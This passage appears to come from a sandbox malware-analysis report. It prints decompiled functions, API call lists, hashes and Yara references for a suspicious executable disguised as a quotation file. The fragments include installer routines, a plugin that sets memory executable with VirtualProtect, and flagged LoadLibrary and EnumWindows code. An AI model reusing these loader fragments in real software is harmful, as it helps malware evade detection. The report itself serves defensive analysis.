							if( *(_t37 + 8) == 1 ||  *(_t37 + 8) == 2) {
								 *(_t37 - 4) =  *(_t37 - 0x20);
								_t33[0x7fe] = _t27;
							} else {
								goto L7;
							}
						}
					}
					_push(_t35);
					RegCloseKey();
				}
				 *0x42a2e8 =  *0x42a2e8 +  *(_t37 - 4);
				return 0;
			}

0x0040252a
0x0040252a
0x0040252f
0x00402536
0x00402538
0x0040253f
0x00402542
0x0040292e
0x00402548
0x0040254b
0x00402566
0x00402596
0x00402596
0x00402599
0x00402568
0x0040256c
0x00402585
0x0040258c
0x0040258f
0x0040256e
0x00402571
0x0040257c
0x004025f5
0x00000000
0x00000000
0x00000000
0x00402571
0x0040256c
0x004025fc
0x004025fd
0x004025fd
0x00402c2d
0x00402c39

APIs

RegQueryValueExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,00000033), ref: 0040255B
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsq8ECC.tmp,00000000,00000011,00000002), ref: 004025FD

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: fe5d7100633d4aebe701fe4e2ff17594fa17b57cc0077f8e4dddba4eb7828dca
Instruction ID: eaee0c709954dca67eb2d1c59e66f6ca2c08a593dad46a4828cc6951ae7b5872
Opcode Fuzzy Hash: fe5d7100633d4aebe701fe4e2ff17594fa17b57cc0077f8e4dddba4eb7828dca
Instruction Fuzzy Hash: 5C116D71900219EBDF14DFA4DE589AE7774FF04345B20443BE401B62D0E7B88A45EB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401389(signed int _a4, struct HWND__* _a10) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x42a290;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if(_a10 != 0) {
						 *0x42924c =  *0x42924c + _t12;
						SendMessageW(_a10, 0x402, MulDiv( *0x42924c, 0x7530,  *0x429234), 0); // executed
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 09e122a9c5ca6d14e20a0c17f6d9bb0c47d9e5f073d0cae9cf8d248ab6fa9320
Instruction ID: af17251ef12b8b272b5eaf8d1bef107274ce64b6e67bb2dd4604cf2723900e86
Opcode Fuzzy Hash: 09e122a9c5ca6d14e20a0c17f6d9bb0c47d9e5f073d0cae9cf8d248ab6fa9320
Instruction Fuzzy Hash: 6F012831724220EBEB295B389D05B6A3698E710714F10857FF855F76F1E678CC029B6D

Uniqueness

Uniqueness Score: -1.00%

Function 00401EDE Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401EFC
EnableWindow.USER32(00000000,00000000), ref: 00401F07

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 153ab9e6739f7f886f4c830da5bbd0037cfdcbd629ab714a5d97d12cd43f86c5
Instruction ID: 74d914ea4967392a65d1c9fdd8f91c6329c2dde8704c14122971abf6b6e16597
Opcode Fuzzy Hash: 153ab9e6739f7f886f4c830da5bbd0037cfdcbd629ab714a5d97d12cd43f86c5
Instruction Fuzzy Hash: 14E0D872908201CFE705EBA4EE485AD73F0EF40315710097FE401F11D0DBB54C00862D

Uniqueness

Uniqueness Score: -1.00%

Function 00406A35 Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406A35(signed int _a4) {
				struct HINSTANCE__* _t5;
				signed int _t10;

				_t10 = _a4 << 3;
				_t8 =  *(_t10 + 0x40a410);
				_t5 = GetModuleHandleA( *(_t10 + 0x40a410));
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t10 + 0x40a414));
				}
				_t5 = E004069C5(_t8); // executed
				if(_t5 == 0) {
					return 0;
				}
				goto L2;
			}

0x00406a3d
0x00406a40
0x00406a47
0x00406a4f
0x00406a5b
0x00000000
0x00406a62
0x00406a52
0x00406a59
0x00000000
0x00406a6a
0x00000000

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403750,0000000B), ref: 00406A47
GetProcAddress.KERNEL32(00000000,?), ref: 00406A62

Part of subcall function 004069C5: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004069DC
Part of subcall function 004069C5: wsprintfW.USER32 ref: 00406A17
Part of subcall function 004069C5: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406A2B

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 2c5be687f5fa61a336a49914f64a515c5dfea5ee9312c993601bf5eaa599f6ad
Instruction ID: 0464b4a7853edb7079d0776797c383171681067eb8499b99987f1e8ea9f8efb8
Opcode Fuzzy Hash: 2c5be687f5fa61a336a49914f64a515c5dfea5ee9312c993601bf5eaa599f6ad
Instruction Fuzzy Hash: E0E086727042106AD210A6745D08D3773E8ABC6711307883EF557F2040D738DC359A79

Uniqueness

Uniqueness Score: -1.00%

Function 00406158 Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406158(WCHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesW(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileW(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x0040615c
0x00406169
0x0040617e
0x00406184

APIs

GetFileAttributesW.KERNELBASE(00000003,00403113,C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe,80000000,00000003), ref: 0040615C
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040617E

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
Instruction ID: 0e1b57c135d9ed337dcee0f1630d7a3ffd6699826ab823f4ff8c6da5104765b0
Opcode Fuzzy Hash: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
Instruction Fuzzy Hash: DCD09E71254201AFEF0D8F20DF16F2E7AA2EB94B04F11952CB682940E1DAB15C15AB19

Uniqueness

Uniqueness Score: -1.00%

Function 00406133 Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406133(WCHAR* _a4) {
				signed char _t3;
				signed char _t7;

				_t3 = GetFileAttributesW(_a4); // executed
				_t7 = _t3;
				if(_t7 != 0xffffffff) {
					SetFileAttributesW(_a4, _t3 & 0x000000fe);
				}
				return _t7;
			}

0x00406138
0x0040613e
0x00406143
0x0040614c
0x0040614c
0x00406155

APIs

GetFileAttributesW.KERNELBASE(?,?,00405D38,?,?,00000000,00405F0E,?,?,?,?), ref: 00406138
SetFileAttributesW.KERNEL32(?,00000000), ref: 0040614C

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction ID: 3e6336b5c460747e2e1e0fbe3c4db8defb42c0044e1a92967a1d29a512d2a4bc
Opcode Fuzzy Hash: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction Fuzzy Hash: 73D0C972514130ABC2102728AE0889ABB56EB64271B014A35F9A5A62B0CB304C628A98

Uniqueness

Uniqueness Score: -1.00%

Function 00405C16 Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405C16(WCHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryW(_a4, 0); // executed
				if(_t2 == 0) {
					return GetLastError();
				}
				return 0;
			}

0x00405c1c
0x00405c24
0x00000000
0x00405c2a
0x00000000

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403633,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00405C1C
GetLastError.KERNEL32 ref: 00405C2A

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
Instruction ID: 66e62c5d6c7775ff4cea72667941029308d228c48495a605f612c1d2d9e1fc74
Opcode Fuzzy Hash: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
Instruction Fuzzy Hash: FBC04C31218605AEE7605B219F0CB177A94DB50741F114839E186F40A0DA788455D92D

Uniqueness

Uniqueness Score: -1.00%

Function 70F52B98 Relevance: 1.6, APIs: 1, Instructions: 143
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E70F52B98(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				void* _t28;
				void* _t29;
				int _t33;
				void* _t37;
				void* _t40;
				void* _t45;
				void* _t49;
				signed int _t56;
				void* _t61;
				void* _t70;
				intOrPtr _t72;
				signed int _t77;
				intOrPtr _t79;
				intOrPtr _t80;
				void* _t81;
				void* _t87;
				void* _t88;
				void* _t89;
				void* _t90;
				intOrPtr _t93;
				intOrPtr _t94;

				if( *0x70f55050 != 0 && E70F52ADB(_a4) == 0) {
					 *0x70f55054 = _t93;
					if( *0x70f5504c != 0) {
						_t93 =  *0x70f5504c;
					} else {
						E70F530C0(E70F52AD5(), __ecx);
						 *0x70f5504c = _t93;
					}
				}
				_t28 = E70F52B09(_a4);
				_t94 = _t93 + 4;
				if(_t28 <= 0) {
					L9:
					_t29 = E70F52AFD();
					_t72 = _a4;
					_t79 =  *0x70f55058;
					 *((intOrPtr*)(_t29 + _t72)) = _t79;
					 *0x70f55058 = _t72;
					E70F52AF7();
					_t33 = EnumWindows(??, ??); // executed
					 *0x70f55034 = _t33;
					 *0x70f55038 = _t79;
					if( *0x70f55050 != 0 && E70F52ADB( *0x70f55058) == 0) {
						 *0x70f5504c = _t94;
						_t94 =  *0x70f55054;
					}
					_t80 =  *0x70f55058;
					_a4 = _t80;
					 *0x70f55058 =  *((intOrPtr*)(E70F52AFD() + _t80));
					_t37 = E70F52AE9(_t80);
					_pop(_t81);
					if(_t37 != 0) {
						_t40 = E70F52B09(_t81);
						if(_t40 > 0) {
							_push(_t40);
							_push(E70F52B14() + _a4 + _v8);
							_push(E70F52B1E());
							if( *0x70f55050 <= 0 || E70F52ADB(_a4) != 0) {
								_pop(_t88);
								_pop(_t45);
								__eflags =  *((intOrPtr*)(_t88 + _t45)) - 2;
								if(__eflags == 0) {
								}
								asm("loop 0xfffffff5");
							} else {
								_pop(_t89);
								_pop(_t49);
								 *0x70f5504c =  *0x70f5504c +  *(_t89 + _t49) * 4;
								asm("loop 0xffffffeb");
							}
						}
					}
					_t107 =  *0x70f55058;
					if( *0x70f55058 == 0) {
						 *0x70f5504c = 0;
					}
					E70F52B42(_t107, _a4,  *0x70f55034,  *0x70f55038);
					return _a4;
				}
				_push(E70F52B14() + _a4);
				_t56 = E70F52B1A();
				_v8 = _t56;
				_t77 = _t28;
				_push(_t68 + _t56 * _t77);
				_t70 = E70F52B26();
				_t87 = E70F52B22();
				_t90 = E70F52B1E();
				_t61 = _t77;
				if( *((intOrPtr*)(_t90 + _t61)) == 2) {
					_push( *((intOrPtr*)(_t70 + _t61)));
				}
				_push( *((intOrPtr*)(_t87 + _t61)));
				asm("loop 0xfffffff1");
				goto L9;
			}

0x70f52ba8
0x70f52bb9
0x70f52bc6
0x70f52bda
0x70f52bc8
0x70f52bcd
0x70f52bd2
0x70f52bd2
0x70f52bc6
0x70f52be3
0x70f52be8
0x70f52bee
0x70f52c32
0x70f52c32
0x70f52c37
0x70f52c3c
0x70f52c42
0x70f52c44
0x70f52c4a
0x70f52c57
0x70f52c59
0x70f52c5e
0x70f52c6b
0x70f52c7e
0x70f52c84
0x70f52c8a
0x70f52c8b
0x70f52c91
0x70f52c9d
0x70f52ca3
0x70f52cab
0x70f52cac
0x70f52caf
0x70f52cba
0x70f52cbc
0x70f52cc8
0x70f52cce
0x70f52cd6
0x70f52d02
0x70f52d03
0x70f52d05
0x70f52d09
0x70f52d09
0x70f52d10
0x70f52ce6
0x70f52ce6
0x70f52ce7
0x70f52cf5
0x70f52cfe
0x70f52cfe
0x70f52cd6
0x70f52cba
0x70f52d12
0x70f52d19
0x70f52d1b
0x70f52d1b
0x70f52d34
0x70f52d42
0x70f52d42
0x70f52bf9
0x70f52bfa
0x70f52bff
0x70f52c03
0x70f52c08
0x70f52c1c
0x70f52c1d
0x70f52c1e
0x70f52c20
0x70f52c25
0x70f52c27
0x70f52c27
0x70f52c2a
0x70f52c30
0x00000000

APIs

EnumWindows.USER32(00000000), ref: 70F52C57

Memory Dump Source

Source File: 00000000.00000002.3306913680.0000000070F51000.00000020.00000001.01000000.00000004.sdmp, Offset: 70F50000, based on PE: true

Associated: 00000000.00000002.3306845588.0000000070F50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3306989815.0000000070F54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3307057428.0000000070F56000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70f50000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: e194584bc2be05b0b618546ea1db38d8814d00b215d6e80550bccc334c43151c
Instruction ID: 6dd3d8b643a998e5eb69cfb5338940828549218215675103f9117c8efdb23fe1
Opcode Fuzzy Hash: e194584bc2be05b0b618546ea1db38d8814d00b215d6e80550bccc334c43151c
Instruction Fuzzy Hash: A941C073500205EFDB519F65DC96B4D37B8EB46724F308629F406C62A0D73CA889CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 032D2A27 Relevance: 1.6, APIs: 1, Instructions: 109libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(B97F3312,?,7C361159,032C1EF6), ref: 032D3046

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9fc3f429ef4a2afad474b50652f48f28c61dbd7cea7a1d1323f3c20cda995fc1
Instruction ID: 87b97deac6644debf68ba1e49ecda6258bd68e38f777aba4fea0504ce5fbe37b
Opcode Fuzzy Hash: 9fc3f429ef4a2afad474b50652f48f28c61dbd7cea7a1d1323f3c20cda995fc1
Instruction Fuzzy Hash: A43105746147099FDB349E2888A47DE37E7EF8A760FA4852EDC898B544D73089C68B02

Uniqueness

Uniqueness Score: -1.00%

Function 032D2F55 Relevance: 1.6, APIs: 1, Instructions: 77libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(B97F3312,?,7C361159,032C1EF6), ref: 032D3046

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ee7b862376f81003cc5f2f5d018bc36756a51b2c450a1bf957c0edadc2ac001f
Instruction ID: f75877ec0c998de15d060e68dc5a281b5dd49bc4ac71b3c1cfd4d2c0355d9bfc
Opcode Fuzzy Hash: ee7b862376f81003cc5f2f5d018bc36756a51b2c450a1bf957c0edadc2ac001f
Instruction Fuzzy Hash: 1F212934B547489FDB24DD2898957DD37D79F8A660FE8812EDC8987600CB7089C68702

Uniqueness

Uniqueness Score: -1.00%

Function 032C185F Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

EnumWindows.USER32 ref: 032C1915

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 78ff110ef42248b6c230c9d5d00a9defe91b4804b20476e384bdfa36668823f2
Instruction ID: c1323ef0bfdb59fa8334c6d3097354e7843b1578e1432a09464e3297c2a79231
Opcode Fuzzy Hash: 78ff110ef42248b6c230c9d5d00a9defe91b4804b20476e384bdfa36668823f2
Instruction Fuzzy Hash: 0B11D036838509DFC729DF78C8425D8F3F5DF21750F280F1EC9A186952D73252568B80

Uniqueness

Uniqueness Score: -1.00%

Function 70F52A7F Relevance: 1.5, APIs: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {

				 *0x70f55048 = _a4;
				if(_a8 == 1) {
					VirtualProtect(0x70f5505c, 4, 0x40, 0x70f5504c); // executed
					 *0x70f5505c = 0xc2;
					 *0x70f5504c = 0;
					 *0x70f55054 = 0;
					 *0x70f55068 = 0;
					 *0x70f55058 = 0;
					 *0x70f55050 = 0;
					 *0x70f55060 = 0;
					 *0x70f5505e = 0;
				}
				return 1;
			}

0x70f52a88
0x70f52a8d
0x70f52a9d
0x70f52aa5
0x70f52aac
0x70f52ab1
0x70f52ab6
0x70f52abb
0x70f52ac0
0x70f52ac5
0x70f52aca
0x70f52aca
0x70f52ad2

APIs

VirtualProtect.KERNELBASE(70F5505C,00000004,00000040,70F5504C), ref: 70F52A9D

Memory Dump Source

Source File: 00000000.00000002.3306913680.0000000070F51000.00000020.00000001.01000000.00000004.sdmp, Offset: 70F50000, based on PE: true

Associated: 00000000.00000002.3306845588.0000000070F50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3306989815.0000000070F54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3307057428.0000000070F56000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70f50000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 2e3e2cac3696fa437275b44c11ee11d5446d21be33523efd2c1b649799e377c7
Instruction ID: eaf1c92f5f75cab7ed2e8bcacd0a1803cdce713b9ba6e3ba67294929a0a0f61c
Opcode Fuzzy Hash: 2e3e2cac3696fa437275b44c11ee11d5446d21be33523efd2c1b649799e377c7
Instruction Fuzzy Hash: 62F0C9B2501382DEC390CF3A8C6470A3FE0B709B24B34452AF18AD62E0E3745448CB91

Uniqueness

Uniqueness Score: -1.00%

Function 004015A3 Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004015A3() {
				int _t5;
				void* _t11;
				int _t14;

				_t5 = SetFileAttributesW(E00402DA6(0xfffffff0),  *(_t11 - 0x2c)); // executed
				_t14 = _t5;
				if(_t14 == 0) {
					 *((intOrPtr*)(_t11 - 4)) = 1;
				}
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t11 - 4));
				return 0;
			}

0x004015ae
0x004015b4
0x004015b6
0x0040292e
0x0040292e
0x00402c2d
0x00402c39

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015AE

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: ecb26fcfbddf9edcaca94c07cf32aba9b51da7ecc0cd49f518a3cca194f28fd5
Instruction ID: 77b6755767f32433cbba579d7de441064f90f02de732d0e129c6c43bd553ff67
Opcode Fuzzy Hash: ecb26fcfbddf9edcaca94c07cf32aba9b51da7ecc0cd49f518a3cca194f28fd5
Instruction Fuzzy Hash: F6D0C772B08100DBDB11DBA8AA08B8D73A0AB00328B208537D001F21D0E6B8C8469A2E

Uniqueness

Uniqueness Score: -1.00%

Function 00404610 Relevance: 1.5, APIs: 1, Instructions: 9
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404610(int _a4) {
				struct HWND__* _t2;
				long _t3;

				_t2 =  *0x429238;
				if(_t2 != 0) {
					_t3 = SendMessageW(_t2, _a4, 0, 0); // executed
					return _t3;
				}
				return _t2;
			}

0x00404610
0x00404617
0x00404622
0x00000000
0x00404622
0x00404628

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404622

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
